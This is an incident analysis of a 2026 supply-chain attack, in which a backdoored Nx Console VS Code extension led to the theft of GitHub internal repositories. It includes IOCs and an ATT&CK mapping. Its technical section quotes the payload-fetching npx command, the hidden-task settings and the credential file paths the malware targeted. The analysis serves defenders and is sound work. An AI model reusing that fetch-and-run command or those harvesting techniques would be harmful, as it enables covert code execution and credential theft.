How a poisoned VS Code extension gave attackers access to thousands of a company's internal repositories
The malicious code was live for 11 minutes. That was enough.
On May 18, 2026, attackers published a backdoored version of Nx Console, a popular Visual Studio Code extension used by developers to manage Nx monorepo projects, to the official VS Code Marketplace. The extension has over 2.2 million total installations. The malicious version, v18.95.0, was available for approximately 11 to 18 minutes before the Nx team detected and removed it. In that window, at least one GitHub employee with auto-updates enabled opened a workspace. The extension silently fetched a second-stage payload hidden in an orphan commit buried inside the official Nx GitHub repository, a commit with no parent history and invisible in standard git log output, and ran it without any user prompt or visible output. By the time GitHub detected the breach the following day, attackers had cloned approximately 3,800 internal repositories.
Here is the detail that should keep security leaders awake: the stolen packages carried valid, cryptographically signed provenance attestations. The attackers did not forge these signatures. They hijacked the legitimate build pipeline that produces them, meaning every standard verification tool would have confirmed the packages were authentic. The security controls designed to prove a package is trustworthy were used as camouflage. The attack was not a failure of cryptography. It was a demonstration that cryptography only proves a pipeline ran, not that the pipeline itself was clean.
This was not a single breach. It was the fourth link in a chain. The group responsible, tracked by Google Threat Intelligence Group as UNC6780 and publicly known as TeamPCP, had been running coordinated supply chain attacks since at least March 2026. The GitHub breach began on May 11 with a compromise of the TanStack open-source project, which infected an Nx developer's machine, which gave attackers the credentials to plant a backdoor in the Nx Console extension, which infected a GitHub employee's workstation. Four organizations, one chain, nine days.
Narrative · 8 min read
The Context
Nx Console is a Visual Studio Code extension maintained by Narwhal Technologies. It gives developers a graphical interface for managing Nx, a widely used build system for large JavaScript and TypeScript codebases. With over 2.2 million total installations, it sits on the machines of a significant fraction of the professional JavaScript development community. GitHub employs thousands of software engineers who use exactly this kind of tooling daily.
The attacker group, publicly known as TeamPCP and formally tracked by Google Threat Intelligence Group as UNC6780, has been running a coordinated campaign called Mini Shai-Hulud since at least March 2026. By May 2026, the group had compromised tools including Aqua's Trivy security scanner, the LiteLLM AI library, the Bitwarden CLI, and the TanStack front-end framework. Their method is consistent: find an open-source project with a misconfigured automated build pipeline, hijack it, publish malicious versions that look identical to legitimate ones, and harvest the credentials of every developer who installs them.
The Attack, Phase by Phase
Phase 1: Upstream Compromise (The TanStack Wave)
On May 11, 2026, TeamPCP exploited a chain of vulnerabilities in TanStack's automated build pipeline on GitHub Actions.
The entry point was a misconfiguration called pull_request_target, which allows a workflow to run with the repository's own secrets even when triggered by a pull request from an outside contributor. TeamPCP opened a pull request from a renamed fork, triggering a workflow that ran the attacker's code with TanStack's trusted credentials.
That code did two things. First, it poisoned GitHub Actions' caching system by replacing legitimate build files with attacker-controlled ones. Second, when a TanStack maintainer later triggered a release, the poisoned cache loaded. The attacker's code read short-lived authentication tokens from the build server's process memory and used them to publish 84 malicious versions of 42 TanStack packages. Because these tokens belonged to the legitimate build system, every package carried a valid cryptographic certificate confirming it was built by TanStack's official pipeline. Standard verification tools would pass them as authentic.
An Nx Console developer installed one of these packages. The payload harvested their GitHub credentials through the GitHub CLI already on their machine and sent them to the attackers.
Phase 2: Extension Weaponization (Planting the Trojan)
With the stolen Nx developer token, TeamPCP moved to the next link in the chain.
At 03:18 UTC on May 18, the attacker pushed an orphan commit (558b09d7) to the official nrwl/nx GitHub repository containing only a package.json and a 498 KB obfuscated index.js payload. Because it had no parent commit and was not attached to any branch, it would not appear in any standard history view.
Hours later, using separately stolen VS Code Marketplace publishing credentials, the attacker released nrwl.angular-console v18.95.0. The malicious addition was 2,777 bytes inserted into the extension's minified main.js. It hooked the extension's startup function so that every time a developer opened a workspace, the extension silently launched a hidden background task that fetched and executed the orphan commit payload using the Bun JavaScript runtime, disguised as a routine MCP setup step. No dialog appeared. No permission was requested.
The malicious version was live from 12:36 UTC. The Nx team detected the anomalous publish and removed it at approximately 12:47 UTC—an exposure window of roughly 11 minutes. OpenVSX took an additional 36 minutes to complete its own takedown.
Phase 3: Credential Harvest and Exfiltration
When the GitHub employee opened a workspace, the hidden task fetched the second-stage payload and executed it silently.
Six credential collectors ran in parallel, harvesting GitHub tokens, AWS credentials, HashiCorp Vault secrets, SSH keys, npm publishing tokens, Kubernetes config files, 1Password vault contents, and Claude Code AI assistant configuration—from both disk and running process memory.
Before transmitting anything, the payload checked CPU count, environment variables, and geographic location. If the system locale was set to Russian or a CIS time zone, it terminated without exfiltrating—a consistent hallmark of Eastern European financially motivated operations avoiding domestic law enforcement attention.
Data was encrypted and transmitted across three channels simultaneously: HTTPS to an attacker-controlled server, the GitHub API using the victim's own stolen tokens (creating repositories with the description "A Mini Shai-Hulud has Appeared"), and DNS tunneling as a fallback. On macOS, the payload also installed a persistent Python backdoor that polled the GitHub Search API hourly for new commands, signed with a 4,096-bit RSA key.
Phase 4: Lateral Movement and Monetization
With the stolen tokens, TeamPCP used the GitHub API to clone approximately 3,800 internal repositories. GitHub described this figure as "directionally consistent" with its own investigation. Reported contents include code related to Copilot, GitHub Enterprise Server, and internal Red Team tooling. GitHub CISO Alexis Wales stated there is no evidence of impact to customer repositories, though she acknowledged some internal repositories contain excerpts of customer support interactions.
GitHub detected the breach on May 19, isolated the compromised endpoint, and began rotating high-impact credentials overnight. TeamPCP listed the stolen repositories for sale on the Breached cybercrime forum, asking at least $50,000 and threatening to leak publicly if no buyer materialized—hours before GitHub made any public statement. GitHub confirmed the breach on May 20; CISO Wales formally named Nx Console as the vector on May 21.
What Made This Possible
A single-approver publishing pipeline. One Nx organization member could release a new version to 2.2 million users without any second review. The attacker needed only one set of stolen credentials.
Provenance verification that cannot detect a compromised pipeline. The TanStack packages carried valid SLSA Build Level 3 attestations because the attacker used the legitimate build system's own credentials. The cryptographic proof confirmed the pipeline ran—not whether it had been tampered with before it ran.
Developer workstations as the de facto security perimeter. The credentials on a developer's laptop provide direct API-level access to internal systems, bypassing network controls entirely. Once the payload ran, there was no network boundary left to cross.
The compounding factor: each layer of the developer toolchain—npm packages, GitHub Actions pipelines, VS Code extensions, the Marketplace—inherits the trust of the layer below it. A single compromised credential anywhere propagates into every downstream artifact that developer touches.
What Should Have Stopped This
Every defense that would have reduced the blast radius shares one trait: it does not depend on the integrity of the compromised tool itself.
- Extension allowlisting. Organizations can configure VS Code via policy to permit only approved extensions. A developer cannot install or auto-update an extension not on the list, regardless of what the Marketplace publishes. This would have blocked
v18.95.0even during the 11-minute window. - Mandatory multi-party approval for publishing pipelines. Requiring two independent approvals before any release means a single stolen credential cannot reach end users. Nx has since implemented this.
- Secrets management that does not store credentials on disk. The payload harvested tokens from files like
~/.vault-tokenand~/.claude/settings.json. Tools that require explicit user authentication per use, rather than storing long-lived tokens in predictable locations, reduce what is available to steal. - Monitoring for anomalous API activity. The attacker cloned 3,800 repositories via the GitHub API. An unusual volume of clone operations from a single token—especially outside business hours—should trigger an alert. GitHub detected the breach the day after the extension was removed, suggesting this signal was not caught in real time.
The Takeaway
This attack is the same class of failure as the Stryker Intune wipe: a trusted administrative tool weaponized against the organization it was built to protect. The attacker did not break through a security boundary. They walked through a door the organization had already opened, using credentials the organization had already issued.
The TanStack wave also connects to the Axios build-time injection attack: in both cases, the target was not the repository itself but the credentials and trust relationships its pipeline could reach. The pipeline is the weapon. The code is the cover.
What makes this incident distinct is the provenance problem. The Axios attack produced packages with no attestations. The TanStack attack produced packages with valid, cryptographically signed attestations. A signed attestation means a pipeline ran—which is a much weaker guarantee than it sounds.
Pattern to remember: Cryptographic proof of origin confirms which pipeline produced an artifact, not whether that pipeline was clean when it ran.
What changed: Supply chain verification tools now provide attackers with a camouflage layer: compromise the pipeline, and every artifact it produces will pass the security checks designed to catch you.
Technical Deep Dive · 4 min
The Technical Mechanism
The attack chains three distinct exploitation techniques across two repositories and two distribution platforms.
Stage 1: GitHub Actions pull_request_target abuse and cache poisoning. The pull_request_target event runs workflows in the context of the base repository, not the fork, granting access to repository secrets even for external pull requests. TeamPCP opened a pull request from a renamed fork (zblgg/configuration), triggering a workflow that executed fork-controlled code with TanStack's base repository permissions. This code wrote a malicious pnpm store into the GitHub Actions cache under a cache key that the legitimate release workflow would later restore. When a TanStack maintainer merged a legitimate commit and triggered the release workflow, the poisoned cache was restored. The attacker's binaries then read OIDC tokens directly from the GitHub Actions runner's process memory via /proc/pid/mem, bypassing the standard ACTIONS_ID_TOKEN_REQUEST_URL mechanism entirely. These tokens were used to call the npm publish API, producing packages with valid Sigstore/Fulcio certificates and SLSA Build Level 3 provenance attestations.
Stage 2: Orphan commit as payload staging. Using the stolen Nx developer GitHub token, TeamPCP pushed commit 558b09d7 to nrwl/nx as an orphan (no parent, unreachable from any ref). The commit contained package.json (declaring a main entry point) and index.js (498 KB, multi-layer obfuscation using identifier mangling and string array rotation). Because the commit is unreachable from any branch, it does not appear in git log, git branch -a, or standard repository browsing. It is accessible only via direct SHA reference.
Stage 3: VS Code extension activation hook injection. The 2,777-byte injection in main.js patched the activate() export. On every workspace activation event, it called vscode.tasks.executeTask() with a ShellExecution task running:
npx -y github:nrwl/nx#558b09d7
This caused npm to fetch the orphan commit payload via the github: protocol specifier, install the Bun runtime silently, and execute index.js. The task was created with isBackground: true and presentationOptions: { reveal: TaskRevealKind.Never }, suppressing all terminal output.
Stage 4: Payload execution. The 498 KB second stage ran six parallel credential collection routines targeting: GitHub tokens (patterns ghp_, gho_, ghs_), AWS Instance Metadata Service (169.254.169.254), ~/.vault-token, npm _authToken values from .npmrc, /proc/*/mem reads on Linux, 1Password CLI session tokens, SSH private keys, Kubernetes ~/.kube/config, and ~/.claude/settings.json. Data was encrypted with AES-256-GCM, the symmetric key RSA-wrapped with an attacker-controlled 4,096-bit public key, and transmitted via three channels: HTTPS POST to a C2 domain, GitHub API repository creation using the victim's own token (repository description: "A Mini Shai-Hulud has Appeared"), and DNS TXT record exfiltration as a fallback. On macOS, a LaunchAgent plist installed ~/.local/share/kitty/cat.py, a Python polling agent that queried the GitHub Search API hourly for RSA-PSS-signed command payloads. On Linux, the payload attempted to append a NOPASSWD sudoers entry via /etc/sudoers.d/.
CVE and Advisories
No CVE has been assigned for the Nx Console extension compromise itself, as it was a credential-theft-enabled supply chain attack rather than a software vulnerability in Nx Console.
The GitHub Actions pull_request_target misconfiguration exploited in the TanStack phase is a known dangerous pattern documented by GitHub Security Lab. It does not have a standalone CVE because it is a configuration pattern, not a discrete software flaw.
- GHSA-c9j4-9m59-847w — Narwhal Technologies / Nx Team security advisory for the compromised Nx Console
v18.95.0 - CVE-2026-33634 — Trivy vulnerability exploited in the March 2026 Mini Shai-Hulud wave (referenced for campaign context)
MITRE ATT&CK Mapping
| Technique ID | ATT&CK name | How it appeared |
|---|---|---|
| T1195.001 | Supply Chain Compromise: Compromise Software Dependencies and Development Tools | TanStack npm packages were compromised via GitHub Actions pipeline hijacking, infecting downstream developers who installed them. |
| T1059.007 | Command and Scripting Interpreter: JavaScript | The orphan commit payload (index.js) and the VS Code extension injection both used JavaScript/Node.js execution to run attacker-controlled code. |
| T1552.001 | Unsecured Credentials: Credentials in Files | The payload read GitHub tokens, Vault tokens (~/.vault-token), npm auth tokens, SSH keys, Kubernetes configs, and Claude Code settings from predictable file paths. |
| T1552.004 | Unsecured Credentials: Private Keys | SSH private keys and code-signing credentials were harvested from developer workstations. |
| T1003 | OS Credential Dumping | On Linux, the payload read credentials directly from process memory via /proc/*/mem. |
| T1041 | Exfiltration Over C2 Channel | Credentials were exfiltrated via HTTPS to attacker-controlled infrastructure, with DNS tunneling as a fallback. |
| T1567.001 | Exfiltration Over Web Service: Exfiltration to Code Repository | The payload used the victim's own GitHub tokens to create repositories on GitHub as an exfiltration channel. |
| T1543.001 | Create or Modify System Process: Launch Agent | On macOS, a LaunchAgent was installed to persist a Python backdoor that polled GitHub Search API for signed commands. |
| T1078 | Valid Accounts | Stolen GitHub tokens were used directly to authenticate to the GitHub API and clone internal repositories, bypassing all network-layer controls. |
| T1213 | Data from Information Repositories | Approximately 3,800 internal GitHub repositories were cloned using the GitHub API with stolen employee tokens. |
Indicators of Compromise
Extension version: nrwl.angular-console v18.95.0 published to the Visual Studio Marketplace on May 18, 2026 at 12:36 UTC. Any installation of this specific version should be treated as a confirmed compromise.
Orphan commit: SHA 558b09d7 in the nrwl/nx GitHub repository. Presence of this commit in local clones or references to it in build logs indicates exposure.
Process indicators: Unexpected execution of npx or bun from within the VS Code process tree, particularly with github:nrwl/nx# arguments. Hidden VS Code tasks with reveal: Never presentation options running shell commands.
File System Indicators
Unexpected creation of ~/.local/share/kitty/cat.py on macOS. New LaunchAgent plist files in ~/Library/LaunchAgents/ created around May 18, 2026. Unexpected entries in /etc/sudoers.d/ on Linux systems.
Network Indicators
Outbound DNS queries with unusually high entropy subdomains (DNS tunneling). GitHub API calls creating repositories with the description "A Mini Shai-Hulud has Appeared". Outbound HTTPS to C2 infrastructure associated with TeamPCP (specific domains published by StepSecurity and Wiz Research in their advisories linked below).
Detection difficulty: The payload's use of the victim's own GitHub tokens for exfiltration means malicious API calls are authenticated and appear as legitimate user activity in standard audit logs. Distinguishing attacker-initiated repository clones from legitimate developer activity requires behavioral baselining of per-token API usage volume.
Attribution
TeamPCP (also tracked as PCPcat, ShellForce, DeadCatx3, CipherForce, and Persy_PCP) claimed full responsibility for the GitHub breach and the broader Mini Shai-Hulud campaign. Google Threat Intelligence Group formally tracks the group as UNC6780.
Attribution confidence is assessed as high by StepSecurity, Snyk, and Trend Micro based on: a verbatim ctf-scramble-v2 Fisher-Yates pseudorandom number generator seeded with 0x3039 appearing across Bitwarden CLI, SAP, and TanStack payloads; identical command-and-control infrastructure across waves; and the consistent Russian-language locale termination check present in every payload variant.
TeamPCP is assessed as financially motivated. In late March 2026, the Vect ransomware-as-a-service group announced a formal partnership with TeamPCP on BreachForums, creating a pathway from supply chain credential theft to destructive ransomware deployment. TeamPCP open-sourced the Shai-Hulud worm framework under the MIT license following the TanStack wave; copycat variants from independent threat actors have already been observed, complicating future attribution.
Primary Sources
- 01.Nx Console VS Code Extension Compromised
StepSecurity · May 18, 2026
- 02.Compromised Nx Console version 18.95.0 (GHSA-c9j4-9m59-847w)
Narwhal Technologies / Nx Team via GitHub Security Advisories · May 19, 2026
- 03.GitHub Internal Repositories Breached via Malicious Nx Console VS Code Extension
The Hacker News · May 21, 2026
- 04.GitHub, Grafana Labs breaches traced back to TanStack supply chain compromise
Help Net Security · May 21, 2026
- 05.GitHub links repo breach to TanStack npm supply-chain attack
BleepingComputer · May 21, 2026
- 06.Mini Shai-Hulud Strikes Again: TanStack and more npm Packages Compromised
Wiz Research · May 12, 2026
- 07.
- 08.Threat Advisory: TanStack Supply Chain Attack
UVCyber · May 20, 2026